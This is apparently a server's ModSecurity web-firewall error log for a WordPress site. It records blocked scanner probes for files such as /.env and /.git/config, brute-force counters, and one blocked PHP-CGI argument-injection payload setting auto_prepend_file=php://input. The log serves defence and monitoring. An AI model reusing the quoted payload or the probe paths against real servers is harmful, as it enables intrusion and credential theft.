[Mon Jan 26 01:36:19.412928 2026] [:error] [pid 49084:tid 49109] [client 36.41.75.167:42153] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXZUk5HUOXll3XccoO4mSAAAAVc"]
[Mon Jan 26 04:01:26.749564 2026] [:error] [pid 58701:tid 58769] [client 157.245.238.103:56688] [client 157.245.238.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.238.103, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXZ2llsnJmQy-y0Deg1F_AAAAIU"]
[Mon Jan 26 04:30:15.559356 2026] [:error] [pid 61287:tid 61326] [client 159.203.3.128:65024] [client 159.203.3.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXZ9V9imZOwAM64CfR5eMQAAAYk"]
[Mon Jan 26 04:30:15.995611 2026] [:error] [pid 24666:tid 24668] [client 159.203.3.128:65195] [client 159.203.3.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXZ9V5mH-L0_jbK3i9EE2AAAAMA"]
[Mon Jan 26 04:30:16.429779 2026] [:error] [pid 24557:tid 24608] [client 159.203.3.128:65394] [client 159.203.3.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aXZ9WOrlG7Vm9pxV14xHaAAAAE4"]
[Mon Jan 26 04:56:36.719122 2026] [:error] [pid 24556:tid 24585] [client 64.31.25.146:47540] [client 64.31.25.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 64.31.25.146, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXaDhEyDW1_EbgDa3XJPJQAAABQ"]
[Mon Jan 26 07:35:23.015778 2026] [:error] [pid 24558:tid 24641] [client 182.42.104.32:33100] [client 182.42.104.32] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXaouwo1PXqeJqIMTQYR0wAAAJQ"]
[Mon Jan 26 08:01:31.994638 2026] [:error] [pid 24666:tid 24682] [client 117.4.254.166:52416] [client 117.4.254.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 117.4.254.166, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXau25mH-L0_jbK3i9ExIAAAAM4"]
[Mon Jan 26 08:01:37.279608 2026] [:error] [pid 24558:tid 24634] [client 185.15.121.74:38596] [client 185.15.121.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.15.121.74, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXau4Qo1PXqeJqIMTQYYjgAAAI0"]
[Mon Jan 26 08:01:41.238369 2026] [:error] [pid 24556:tid 24569] [client 199.188.199.61:58510] [client 199.188.199.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 199.188.199.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXau5UyDW1_EbgDa3XJziAAAAAQ"]
[Mon Jan 26 12:06:25.487742 2026] [:error] [pid 24666:tid 24670] [client 103.2.225.70:40616] [client 103.2.225.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.2.225.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXboQZmH-L0_jbK3i9FucAAAAMI"]
[Mon Jan 26 12:06:42.546263 2026] [:error] [pid 24557:tid 24612] [client 118.89.200.37:56420] [client 118.89.200.37] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 118.89.200.37, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXboUurlG7Vm9pxV14yp6AAAAFI"]
[Mon Jan 26 15:05:08.279637 2026] [:error] [pid 24558:tid 24644] [client 43.159.135.203:53128] [client 43.159.135.203] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXcSJAo1PXqeJqIMTQZ2zgAAAJc"]
[Mon Jan 26 15:09:48.247236 2026] [:error] [pid 61287:tid 61331] [client 154.12.34.53:52182] [client 154.12.34.53] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.gigfragments.org"] [uri "/feed/"] [unique_id "aXcTPNimZOwAM64CfR4ezgAAAY4"]
[Mon Jan 26 15:58:22.148566 2026] [:error] [pid 24556:tid 24577] [client 106.222.225.8:13224] [client 106.222.225.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.225.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXcenkyDW1_EbgDa3XL_lgAAAAw"]
[Mon Jan 26 16:56:49.798726 2026] [:error] [pid 24556:tid 24568] [client 106.222.225.8:20564] [client 106.222.225.8] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aXcsUUyDW1_EbgDa3XITEQAAAAM"]
[Mon Jan 26 16:58:16.449090 2026] [:error] [pid 24556:tid 24580] [client 106.222.225.8:9071] [client 106.222.225.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.225.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXcsqEyDW1_EbgDa3XITwwAAAA8"]
[Mon Jan 26 16:59:36.249419 2026] [:error] [pid 24556:tid 24570] [client 106.222.225.8:23251] [client 106.222.225.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.225.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXcs-EyDW1_EbgDa3XIUAAAAAAU"]
[Mon Jan 26 17:00:57.553014 2026] [:error] [pid 61286:tid 61297] [client 106.222.225.8:32232] [client 106.222.225.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.225.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXctScnVt687wYGMPn_9bAAAAUc"]
[Mon Jan 26 17:02:26.817409 2026] [:error] [pid 24557:tid 24613] [client 106.222.225.8:18296] [client 106.222.225.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.225.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXctourlG7Vm9pxV14z1igAAAFM"]
[Mon Jan 26 17:03:51.422700 2026] [:error] [pid 24557:tid 24594] [client 106.222.225.8:21913] [client 106.222.225.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.222.225.8, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aXct9-rlG7Vm9pxV14z1zwAAAEA"]
[Mon Jan 26 21:19:59.397870 2026] [:error] [pid 24557:tid 24598] [client 43.133.14.237:46808] [client 43.133.14.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXdp_-rlG7Vm9pxV14w1nwAAAEQ"]
[Mon Jan 26 22:37:51.549246 2026] [:error] [pid 24558:tid 24645] [client 43.166.134.114:43510] [client 43.166.134.114] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aXd8Pwo1PXqeJqIMTQa-VAAAAJg"]
[Mon Jan 26 23:09:32.773050 2026] [:error] [pid 24558:tid 24623] [client 14.54.199.52:19357] [client 14.54.199.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.54.199.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXeDrAo1PXqeJqIMTQbBuAAAAII"], referer: https://gigfragments.org/wp-login.php
[Mon Jan 26 23:09:34.814669 2026] [:error] [pid 24558:tid 24628] [client 14.54.199.52:19357] [client 14.54.199.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 14.54.199.52, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXeDrgo1PXqeJqIMTQbBuQAAAIc"], referer: https://www.localpointchurch.com/wp-login.php
[Mon Jan 26 23:14:19.569837 2026] [:error] [pid 24666:tid 24687] [client 45.133.5.90:33521] [client 45.133.5.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.90, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aXeEy5mH-L0_jbK3i9HruAAAANM"]
[Tue Jan 27 00:07:57.490878 2026] [:error] [pid 61286:tid 61303] [client 65.21.129.21:51160] [client 65.21.129.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aXeRXcnVt687wYGMPn89oQAAAU0"]
[Tue Jan 27 00:24:33.894779 2026] [authz_core:error] [pid 57173:tid 57249] [client 128.199.182.55:52044] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Tue Jan 27 00:24:44.502735 2026] [authz_core:error] [pid 57173:tid 57247] [client 164.92.107.174:47304] AH01630: client denied by server configuration: /home/gigfrag/public_html/server-status
[Tue Jan 27 00:24:45.508848 2026] [:error] [pid 44586:tid 44770] [client 128.199.182.55:46702] [client 128.199.182.55] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.env"] [unique_id "aXeVTaZDnq-dPBqM5LiKNwAAAIY"]
[Tue Jan 27 00:24:49.836955 2026] [:error] [pid 44849:tid 44867] [client 128.199.182.55:46722] [client 128.199.182.55] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aXeVURvM0vcShMgZVmTiiAAAAVA"]
[Tue Jan 27 00:24:54.664393 2026] [:error] [pid 57173:tid 57241] [client 164.92.107.174:43890] [client 164.92.107.174] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.env"] [unique_id "aXeVVk4W-bz8q8pfNmgITwAAAAk"]
[Tue Jan 27 00:24:58.512773 2026] [:error] [pid 44849:tid 44874] [client 164.92.107.174:43908] [client 164.92.107.174] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "aXeVWhvM0vcShMgZVmTioAAAAVc"]
[Tue Jan 27 00:25:01.984325 2026] [:error] [pid 44588:tid 44837] [client 128.199.182.55:55562] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXeVXTHRQD80UhqYrcAGnwAAARE"]
[Tue Jan 27 00:25:03.282888 2026] [:error] [pid 44587:tid 44807] [client 128.199.182.55:55578] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "aXeVX4sXadca93KAT8TfngAAAM8"]
[Tue Jan 27 00:25:05.124205 2026] [:error] [pid 57173:tid 57241] [client 128.199.182.55:55590] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/config.json"] [unique_id "aXeVYU4W-bz8q8pfNmgIXQAAAAk"]
[Tue Jan 27 00:25:06.579900 2026] [:error] [pid 57173:tid 57235] [client 128.199.182.55:55596] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/telescope/requests"] [unique_id "aXeVYk4W-bz8q8pfNmgIYAAAAAM"]
[Tue Jan 27 00:25:07.572597 2026] [:error] [pid 44588:tid 44835] [client 128.199.182.55:55608] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aXeVYzHRQD80UhqYrcAGowAAAQ8"]
[Tue Jan 27 00:25:08.935401 2026] [:error] [pid 44849:tid 44867] [client 128.199.182.55:55618] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aXeVZBvM0vcShMgZVmTisAAAAVA"]
[Tue Jan 27 00:25:10.348585 2026] [:error] [pid 44586:tid 44773] [client 128.199.182.55:55626] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/actuator/env"] [unique_id "aXeVZqZDnq-dPBqM5LiKXQAAAIk"]
[Tue Jan 27 00:25:12.622575 2026] [:error] [pid 57173:tid 57239] [client 128.199.182.55:58530] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/swagger-ui.html"] [unique_id "aXeVaE4W-bz8q8pfNmgIawAAAAc"]
[Tue Jan 27 00:25:13.572415 2026] [:error] [pid 57173:tid 57249] [client 128.199.182.55:58536] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/swagger/index.html"] [unique_id "aXeVaU4W-bz8q8pfNmgIbQAAABA"]
[Tue Jan 27 00:25:14.504048 2026] [:error] [pid 44849:tid 44854] [client 128.199.182.55:58538] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/swagger/swagger-ui.html"] [unique_id "aXeVahvM0vcShMgZVmTiwQAAAUM"]
[Tue Jan 27 00:25:15.489929 2026] [:error] [pid 44587:tid 44800] [client 128.199.182.55:58554] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/webjars/swagger-ui/index.html"] [unique_id "aXeVa4sXadca93KAT8TftQAAAMg"]
[Tue Jan 27 00:25:16.431037 2026] [:error] [pid 44588:tid 44821] [client 128.199.182.55:58568] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/swagger.json"] [unique_id "aXeVbDHRQD80UhqYrcAGugAAAQI"]
[Tue Jan 27 00:25:16.569904 2026] [:error] [pid 44586:tid 44765] [client 164.92.107.174:48296] [client 164.92.107.174] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd cgi.force_redirect=0 \\xadd disable_functions="" \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/usr/local/apache/modsecurity-cwaf/rules/21_PHP_PHPGen.conf"] [line "22"] [id "218420"] [rev "2"] [msg "COMODO WAF: PHP Injection Attack: I/O Stream Found||www.gigfragments.org|F|2"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd cgi.force_redirect=0 \\x5cxadd disable_functions=\\x22\\x22 \\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd cgi.force_redirect=0 \\xadd disable_functions=\\x22\\x22 \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "www.gigfragments.org"] [uri "/php-cgi/php-cgi.exe"] [unique_id "aXeVbKZDnq-dPBqM5LiKdAAAAIE"]
[Tue Jan 27 00:25:17.735428 2026] [:error] [pid 44849:tid 44865] [client 128.199.182.55:58574] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/swagger/v1/swagger.json"] [unique_id "aXeVbRvM0vcShMgZVmTiyQAAAU4"]
[Tue Jan 27 00:25:18.435800 2026] [:error] [pid 57173:tid 57247] [client 128.199.182.55:58576] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2/api-docs"] [unique_id "aXeVbk4W-bz8q8pfNmgIdgAAAA4"]
[Tue Jan 27 00:25:19.841815 2026] [:error] [pid 44588:tid 44844] [client 128.199.182.55:58580] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3/api-docs"] [unique_id "aXeVbzHRQD80UhqYrcAGvgAAARg"]
[Tue Jan 27 00:25:20.503919 2026] [:error] [pid 44586:tid 44770] [client 128.199.182.55:53606] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api-docs/swagger.json"] [unique_id "aXeVcKZDnq-dPBqM5LiKfwAAAIY"]
[Tue Jan 27 00:25:21.837642 2026] [:error] [pid 44588:tid 44824] [client 128.199.182.55:53610] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/api/swagger.json"] [unique_id "aXeVcTHRQD80UhqYrcAGwQAAAQQ"]
[Tue Jan 27 00:25:22.469066 2026] [:error] [pid 44849:tid 44853] [client 128.199.182.55:53626] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/@vite/env"] [unique_id "aXeVchvM0vcShMgZVmTi1QAAAUI"]
[Tue Jan 27 00:25:23.790235 2026] [:error] [pid 44588:tid 44841] [client 128.199.182.55:53640] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aXeVczHRQD80UhqYrcAGxwAAARU"]
[Tue Jan 27 00:25:24.490283 2026] [:error] [pid 57173:tid 57237] [client 128.199.182.55:53644] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aXeVdE4W-bz8q8pfNmgIggAAAAU"]
